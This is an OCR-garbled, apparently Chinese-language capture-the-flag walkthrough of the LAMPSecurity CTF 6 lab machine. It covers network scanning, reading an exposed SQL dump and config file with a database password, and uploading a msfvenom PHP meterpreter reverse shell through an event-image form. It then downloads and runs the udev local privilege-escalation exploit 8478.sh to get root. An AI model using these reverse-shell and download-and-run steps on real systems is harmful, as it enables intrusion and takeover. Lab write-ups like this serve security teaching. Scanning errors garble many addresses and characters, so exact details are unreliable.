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: # arp-scan -1
Interface: eth®, type: EN1OMB, MAC: 00:0c:29:23:fb:90, IPv4: 192.168.232.128
Starting arp-scan 1.9.6 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.232.1 00:50:56:c0:00:08 VMware, Inc.
192.168.232.2 AA:RA:5hR:fa:h3: ek VMware. Tnc.
192.168.232.133 00:0c:29:21:e0:be VMware, Inc.
192.168.232.254 00:50:56:el1:0c:fc VMware, Inc.

4 packets received by filter, @ packets dropped by kernel

Ending arp -scan 1. 9 6: 256 hosts scanned in 1.943 seconds (131.76 hosts/sec). & responded
# nmap -A -v -s5 -sV -p- -T4 192,168.232.133

Startlng Nmap 7.80 ( https://nmap.org ) at 2020-04-29 ©3:33 EDT

NSE: Loaded 151 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at 83:33

Completed NSE at ©3:33, 0.00s elapsed

Initiating NSE at 83:33

Completed NSE at ©3:33, 0.00s elapsed

Initiating NSE at @3:33

Completed NSE at ©3:33, 0.00s elapsed

Initiating ARP Ping Scan at 83:33

Scanning 192.168.232.133 [1 port]

Completed ARP Ping Scan at @©3:33, 0.04s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at ©3:33

Completed Parallel DNS resolution of 1 host. at ©3:33, ©.00s elapsed

Initiating SYN Stealth Scan at ©3:33

Scanning localhost (192.168.232.133) [65535 ports]

Discovered open port 88/tcp on 192.168.232.133

Discovered open port 143/tcp on 192.168.232.133

Discovered open port 111/tcp on 192.168.232.133

Discovered open port 995/tcp on 192.168.232.133

Discovered open port 22/tcp on .22.168.232.133

Discovered open port &443/tcp on 192.158,232.133

Discovered open port 993/tcp on 192.168..27.133

Discovered open port 3306/tcp on 192.168.232.133

Discovered open port 118/tcp on 192.168.232.133

Discovered open port 624/tcp on 192.168.232.133

Completed SYN Stealth Scan at ©3:33, 4.71s elapsed (65535 total ports)

Initiating Service scan at ©3:33

Scanning 10 services on localhost (192.168.232.133)

Completed Service scan at @3:33, 14.06s elapsed (1@ services on 1 host)

Initiating 0S5 detection (try #1) against localhost (192.168.232.133)

NSE: Script scanning 192.168.232.133.

EESEE

dirb http://192.168.232.133
nikto -h http://192.168.232.133
RILT phpmyadmin B3, HEEFRFL



=> DIRECTORY: http://192.168.232.133/manual/ko/

+ http://192.168.232.133/manual/LICENSE (CODE:2BBISIZE:11358)
DIRECTORY: http://192.168.232.133/manual/misc/
DIRECTORY: http://192.168.232.133/manual/mod/
DIRECTORY: http://192.168.232.133/manual/programs/
DIRECTORY: http://192.168.232.133/manual/ru/
DIRECTORY: http://192.168.232.133/manual/ssl/
DIRECTORY: http://192.168.232.133/manual/style/

--— Entering directory: http://192.168.232.133/phpmyadmin/ ----

+ http://192.168.232.133/phpmyadmin/ChangeLog (CODE:20@|SIZE:35791)
=> DIRECTORY: http://192.168.232.133/phpmyadmin/config/

=> DIRECTORY: http://192.168.232.133/phpmyadmin/contrib/

+ http://192.168.232.133/phpmyadmin/favicon.ico (CODE:20@|SIZE:18902)
+ http://192.168.232.133/phpmyadmin/index.php (CODE:20@|SIZE:7845)
=> DIRECTORY: http://192.168.232.133/phpmyadmin/js/

=> DIRECTORY: http://192.168.232.133/phpmyadmin/lang/
http://192.168.232.133/phpmyadmin/libraries (CODE:403|SIZE:302)
http://192.168.232.133/phpmyadmin/LICENSE [CODE:2BBISIZE:18&11)
http://192.168.232.133/phpmyadmin/phpinfo.php (CODE:200|SIZE:0)
http://192.168.232.133/phpmyadmin/README (CODE:200|SIZE:2624)
http://192.168.232.133/phpmyadmin/robots.txt (CODE:200|SIZE:26)
= DIRECTORY: http://192.168.232.133/phpmyadmin/scripts/

= DIRECTORY: http://192.168.232.133/phpmyadmin/test/

=> DIRECTORY: http://192.168.232.133/phpmyadmin/themes/

+ http://192.168.232.133/phpmyadmin/TODO (CODE:20@|SIZE:235)

=+ + + +

Entering directory: http://192.168.232.133/sql/ ----
(1) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.232.133/templates/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.232.133/mail/bin/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.

(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.232.133/mail/installer/ ----
=> DIRECTORY: http://192.168.232.133/mail/installer/images/

+ http://192.168.232.133/mail/installer/index.php (CODE:200|SIZE:1117)

---- Entering directory: http://192.168.232.133/mail/program/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it. o e e
(Use mode '-w' if you want to scan it anyway) htt log.csdn.net/qg_41901
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http://192.168.232.133/sql/db.sql
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& C O f=Z2| 192.168.232.133/sql/db.sq = % O

Jz

CREATE TABLE IF NOT EXISTS log (
log_id int not null auto_increment primary key,
log_ip warchar(20),
log_referer varchar(255),
log_useragent varchar (255)

2

DELETE FROM user;
DELETE FROM event;

LELETE FROM log; /ﬁfﬂéﬁ?&ﬂ"]mfﬁ%m%ﬁ

INSERT INTO user SET user_id = 1,| user_username= admin’

user_password=mds (’ adminpass’); ‘

INSERT INTO event SET event_title='Mauris Vel', event_body=

<prLorem ipsum dolor sit amet, consectetur adipiscing elit. Integer pharetra nulla a welit euismod aliquam Suspendisse potenti. Lorem ipsum dolor sit amet, consectetur adipiscing elit.
Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Duis eu
felis a welit sollicitudin ullamcorper quis et sapien. Froin lacinia, mauris eulsmod pulvinar iaculis, elit dolor interdum ipsum, eu laculis leo nisi sit amet enim Phasellus munc augue,
commodo sed eleifend in, ullamcorper a sapien. Phasellus non posuere massa. Norbi sed posuere urna. Donec tincidumt congue ipsum nec wehicula. Nullam quis nulla erat. Phasellus semper
pretium magna at faucibus. Pellentesque sed enim nec dui posuere blandit. </p>

<p>Naecenas malesuada blandit mauris vel tincidunt. Praesent vitae nibh erat. Donec tincidunt blandit aliquam Donec pulwinar suscipit viverra. Fusce vitae diam non orci adipiscing dapibus
nec in tortor. Donec laoreet feugiat adipiscing. Fusce at augue dignissim mauris tincidunt tincidunt. Sed at odio ut nisi vehicula porttitor. Quisque elementum ligula et libero hendrerit
lacinia ac vel eros. Class aptent taciti soclosqu ad litora torquent per conubla nostra, per ilnceptos himenaeos. Suspendisse ut magna sem, eget pellentesque turpis. Nam ut vellt ac lorem
fringilla dapibus sit amet vitae leo. Nauris non vwelit eu neque auctor dignissim Nam quis ipsum ac lectus commodo adipiscing interdum placerat mi. </p>’,

user_id = (SELECT user_id from user where user_username =  admin’ );

38 C O F=Z=£| 192.168.232.133/docs/

Index of /docs

Name Last modified Size Description

& Parent Directory, -
W} code_backup.tgz P9-Jun-2009 18:59 34K
phpinfo.php 3-Jun-2009 14:01 23

Apache/2.2.3 (CentOS) SeMver at 192.168.232.133 Port 80
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conf/

55 : b
. config.ini : 2009-06-23 20:18

config.ini

¥

; This is the configuration file

database host = localhost
database pass 45kkald?8laLKD
database user cms_user
database db = cms

q_41901"

< C O F&=£ | 192.168.232.133/phpmyadmin/index.php?token=669321c6945a82d3db572cf13074c664 - O
wj\_,j‘w_rﬂjn 3 IR localhost:3306 %
@ RIEE RSl RS HERE [FHE_ GiEngines SPIR @uEHE HiSH EBiimg

o cms (3) Actions | * X %
« information_schema (17)
« mysql (17) @ sx=E
+ roundcube (6) i
+ test
MySQL localhost ZREL0G ?
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= QR HHEEE @ BFE  |cms_user v
=E v | \
MySQL BB | utfé_general_ci v @ =i 4okkaid2slal kD o=
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@ % / Mg Original v phpMyAdmin
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< C O AZ=£| 192.168.232.133/index.php

«About Widgets

Widgets Inc.
CTF 6 - Widgets Inc. Homepage

L CREELELE Add Event  Manage Users  Logs  Log Out

About Us

Are you looking to buy or sell widgets?
Widgets, Inc. is the internet’s longest running

News & Announcements

and most respected vendor of widgets. We SUSPendISSE Ssapien orci

can supply your widget needs or provide you

with reseller materials. Whatever your interest Posted by: admin

in widgets, we're here to help you. Our

dedicated staff of professionals can provide Suspendisse sapien orci, luctus laoreet fringilla vitae, sodales non quam. Aliquam vel justo vel
24-7 widget support. We make sure your enim dapibus ullamcorper. Sed elementum lacus sed tortor imperdiet imperdiet. Maecenas a @)
widgets widget properly, and take the turpis vel tellus iaculis ullamcorper. Pellentesque vitae orci at dolor vestibulum pharetra sit R
headache out of widget deployment. We can amet ut sem. Donec nec rhoncus ligula. Suspendisse eget luctus nunc. Nam eget arcu augue,

help you train your own staff of widgeters or vitae condimentum magna. Etiam et fermentum erat. Fusce vehicula urna ac nisl imperdiet fringilla
widget your widgets for you. We have blandit ut quam. Nullam ult...

financing so that we can meet your widget
needs regardless of your budget. Contact a
sales representative now! 6 reads

Edit this event

Read more

Our Staff

Our dedicated staff are completely widget
certified and extremely pro-widget. To
contact us use the email addresses below:

Delete event

Praesent magna est

¢ John Sloan - CEO Posted by: admin
< C O FZ£ | 192.168.232.133/index.php?action=add_event
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msf4E fliphp i Bishell, FHFI FHZEXSSH#EAT L&

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.232.128 LPORT=7777 -o shell.php

it msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.232.128 LPORT=7777 -o shell.php
[-] No platform was selected, choosing Msf ::Module:: Platform:: PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload

Pavlnad siza: 0501 hufns

aywat =118 wOT A

Saved as: shell php
- # 1

= C A &= | 192.168.232.133/index.php?action=add_event

About Widgets

Widgets Inc.
CTF 6 - Widgets Inc. Homepage

LG, R Add Event Manage Users  Logs Log Out

Usefu

About Us Add a New Event

Are you looking to buy or sell —New Event Details
widgets‘? Widgets, Inc. .is the Tiile: o
internet's longest running and most et i
respected vendor of widgets. We can Description: |adbde] |
supply your widget needs or provide
you with reseller materials. Whatever
your interest in widgets, we're here
to help you. Our dedicated staff of
professionals can provide 24-7
widget support. We make sure your
widgets widget properly, and take
the headache out of widget
deployment. We can help you train
your own staff of widgeters or widget
your widgets for you. We have
financing so that we can meet your
widget needs regardless of your
budget. Contact a sales . : |
representative now! 5 ‘_—_,_ti”q;EﬁEE’JabCph@SUfF
Image: EIEWE |abe.php

Our Staff Add event

kali/g& 3himsfconsole, 4TI H



msfconsole

use exploit/multi/handler

set payload php/meterpreter_reverse_tcp
set lhost 192.168.232.128

set lport 7777

sessions -s 1

exploit

Ve REETE Y H— T R4 LK shell. php, BEATARA

msf5 > use exploit/multi/handler

msf5 exploit( ) > set payload php/meterpreter_reverse_tcp
payload = php/meterpreter_reverse_tcp

msf5 exploit( ) » set lhost 192.168.232.128

lhost = 192.168.232.128

msf5 exploit( ) > set lport 7777

lport = 7777

; £551005 -5
msf5 exploit( ) > exploit

Started reverse TCP handler on 192.168.232.128:7777

= Exploit failed [user-interrupt]: Interrupt
exploit: Interrupted
msf5 exploit( ) » exploit

Started reverse TCP handler on 192.168.232.128:7777
Meterpreter session 1 opened (192.168.232.128:7777 — 192.168.232.133:33903) at 2020-04-29 22:17:57 -0400

meterpreter > whoami
Unknown command: whoami.

meterpreter > sysinfo

Computer : localhost

0s : Linux localhost 2.6.18-92.el5 #1 SMP Tue Jun 10 18:49:47 EDT 2008 1686
Meterpreter : php/linux

meterpreter > fJj
hitp hg.csdn.net/gg_41901

< X @ &£ | 192.168.232.133/files/shell.php
f'*
R

HENAE H Rishell
shell

python -c 'import pty;pty.spawn("/bin/bash")"’



msf# R R IR A KT

searchsploit linux udev

TR A

wget http://192.168.232.129/8478.sh

1s | grep 8478.sh

Kernel 2.6 (

# searchsploit Tlinux udev

(/usr/share/exploitdb/)

Debian 4.0 / Ubuntu / Gentoo) < 1.4.1 - Local Privilege | exploits/ /local/8478.sh

Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) < 1.4.1 - Local Privilege Es | exploits/ /local/8572.c

Kernel 4.8.0
Kernel

Shellcodes: No Res

/root/Desktop

meterpreter > sh
Process 11175 cr

Channel 1 create
pythen -c 'impor
bash-3.2% whoami
whoami

apache

bash-3.2%

bash-3.2% whoami
whoami

apache

bash-3.24 wget h
wget http://192.
—11:41:58— ht
Connecting to 19
HTTP request sen
Length: 3498 (3.
Saving to: "B478

100%[
11:41:50 (584 MB
bash-3.2% 1s | g

1s | grep B478.s
8478.sh

< 232 - Local Privilege Escalation exploits/ /local/41886.c
< 1.4.1 - '"Netlink' Local Privilege Escalation (Metasploit) exploits/ /local/21848.rb

ult

# pwd

# cp /usr/share/exploitdb/exploits/linux/local/8478.sh /root/Desktop/8478.sh
i 11 | grep 8478.sh
not found

# 1s -a | grep 8478.sh

L |

41901122

ell

eated.

d.

t pty;pty.spawn{"/bin/bash")’

ttp://192.168.232.129/8478.sh
168.232.129/8478.5sh
tp://192.168.232.129/8478.s5h
2.168.232.129:80 ... connected.
t, awaiting response... 200 0K
4K) [application/x-sh]

.sh'

==>] 3,498
/s) - "B478.sh' saved [3498/3498]
rep 8478.sh

s /iblog.csdn.net/qq_41901122

BHIPATIR, AT R A



dos2unix 8478.sh MHIARMNSIAERERA nuix KR
chmod +x 8478.sh &HMIMIATHUR

1s -la 8478.sh HEEHITHIR:

cat /proc/net/netlink EHBHE:

./8478.sh 568 FIF 568 H—ANitiE:

wget http://192.168.232.129/8478.sh
—11:48:27— http://192.168.232.129/8478.ch
Connecting to 192.168.232.129:80 ... connecte:.
HTTP request sent, awaiting response ... 200 0K
Length: 3498 (3.4K) [application/x-sh]

Saving to: "8478.sh'

>] 3,498
11:48:27 (685 MB/s) - "8478.sh' saved [3498/3498]

bash-3.2% dos2unix 8478.sh
dos2unix 8478.sh

dos2unix: converting file 82478.sh to UNIX format ...
bash-3.2% chmod +x 8478.sh

chmod +x 8478.sh

bash-3.2% 1s -a 8478.sh

1ls -a 847&.sh

8478.sh

bash-3.2% cat /proc/net/netlink

cat /proc/net/netlink

sk Eth Pid Groups
cfebce@® 5} oeo00000
cfg7dsee 3129 feee0111
cfc35a00 5} ooe00000
cfe78600 5} ooee0000
cl317600 2452 ooe00000
cfebbed@ ooe00000
cf55dcoe ooe00000
cf51fcoe oeoe00000
cfc35400 ffffffff
cfebcco@ ooo00000
cf51faee oee00000
cfococ@ ooe00000
bash-3.2% ./8478.sh 569

Dump

doooooO0
doooooo0
doooBoO0
doooooO0
doooBoO0
doooBoO0
doooBoO0
doooBoO0
doooooO0
doooBoO0
doooooO0

000000002 log.csdn.net/qg_41901"

555555555555§
1]
E

LSS I o B S I N R S I N I S S I

555555555555§
1]
E¥

./B4TB.sh 568

suid.c: In function 'main’:
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'’
sh-3.2# whoami

whoami

root

sh-3.2# pwd

pwd

/var/wm /html/files
sh-3.2# cd

cd

sh-3.2# pwd

pwd

/

sh-3.2# cd root ; AT
e it log.csdn.net/gg_41901122
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